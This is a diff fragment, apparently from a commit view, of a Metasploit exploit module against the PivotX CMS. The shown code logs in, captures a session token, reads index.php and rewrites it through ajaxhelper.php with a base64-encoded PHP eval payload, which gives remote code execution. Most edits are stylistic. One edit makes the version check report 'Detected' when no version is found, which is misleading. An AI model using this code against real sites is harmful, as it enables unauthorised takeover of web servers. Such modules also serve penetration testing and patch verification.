@@ -65,13 +65,13 @@ def check
65
65
66
66
html_body = res . get_html_document
67
67
68
- return Msf ::Exploit ::CheckCode ::Unknown ( 'Could not find version element' ) unless html_body . search ( 'em' ) . find { |i | i . text =~ /PivotX - (\d .\d \d ?.\d \d ?-[a-z0-9]+)/ }
68
+ return Msf ::Exploit ::CheckCode ::Detected ( 'Could not find version element' ) unless html_body . search ( 'em' ) . find { |i | i . text =~ /PivotX - (\d .\d \d ?.\d \d ?-[a-z0-9]+)/ }
69
69
70
70
version = Rex ::Version . new ( Regexp . last_match ( 1 ) )
71
71
72
- return Msf ::Exploit ::CheckCode ::Appears ( "Detected PivotX #{ version } " ) if version <= Rex ::Version . new ( '3.0.0-rc3' )
72
+ return Msf ::Exploit ::CheckCode ::Appears ( "Detected PivotX #{ version } " ) if version <= Rex ::Version . new ( '3.0.0-rc3' )
73
73
74
- return Msf ::Exploit ::CheckCode ::Safe ( "PivotX #{ version } is not vulnerable" )
74
+ return Msf ::Exploit ::CheckCode ::Safe ( "PivotX #{ version } is not vulnerable" )
75
75
end
76
76
77
77
def login
@@ -90,7 +90,7 @@ def login
90
90
'keep_cookies' => true
91
91
} )
92
92
93
- fail_with Failure ::NoAccess , 'Login failed, probably incorrect credentials' unless ( res &.code == 200 || res &.code == 302 ) && res . get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
93
+ fail_with ( Failure ::NoAccess , 'Login failed, probably incorrect credentials' ) unless ( res &.code == 200 || res &.code == 302 ) && res . get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
94
94
95
95
@csrf_token = Regexp . last_match ( 1 )
96
96
end
@@ -102,7 +102,7 @@ def modify_file
102
102
'vars_get' => { 'page' => 'homeexplore' }
103
103
} )
104
104
105
- fail_with Failure ::UnexpectedReply , 'Received unexpected response when fetching working directory' unless res &.code == 200 && res . body =~ /basedir=([a-zA-Z0-9]+)/
105
+ fail_with ( Failure ::UnexpectedReply , 'Received unexpected response when fetching working directory' ) unless res &.code == 200 && res . body =~ /basedir=([a-zA-Z0-9]+)/
106
106
107
107
@base_dir = Regexp . last_match ( 1 )
108
108
@@ -112,19 +112,19 @@ def modify_file
112
112
'vars_get' => { 'function' => 'view' , 'basedir' => @base_dir , 'file' => 'index.php' }
113
113
} )
114
114
115
- fail_with Failure ::UnexpectedReply , 'Received unexpected response when fetching index.php' unless res &.code == 200
115
+ fail_with ( Failure ::UnexpectedReply , 'Received unexpected response when fetching index.php' ) unless res &.code == 200
116
116
117
117
@original_value = res . get_html_document . at ( 'textarea' ) &.text
118
118
119
- fail_with Failure ::Unknown , 'Could not find content of index.php' unless @original_value
119
+ fail_with ( Failure ::Unknown , 'Could not find content of index.php' ) unless @original_value
120
120
121
121
res = send_request_cgi ( {
122
122
'method' => 'POST' ,
123
123
'uri' => normalize_uri ( target_uri . path , 'pivotx' , 'ajaxhelper.php' ) ,
124
124
'vars_post' => { 'csrfcheck' => @csrf_token , 'function' => 'save' , 'basedir' => @base_dir , 'file' => 'index.php' , 'contents' => "<?php eval(base64_decode('#{ Base64 . strict_encode64 ( payload . encoded ) } ')); ?> #{ @original_value } " }
125
125
} )
126
126
127
- fail_with Failure ::PayloadFailed , 'Failed to insert malicious PHP payload' unless res &.code == 200 && res . body . include? ( 'Wrote contents to file index.php' )
127
+ fail_with ( Failure ::PayloadFailed , 'Failed to insert malicious PHP payload' ) unless res &.code == 200 && res . body . include? ( 'Wrote contents to file index.php' )
128
128
end
129
129
130
130
def trigger_payload
0 commit comments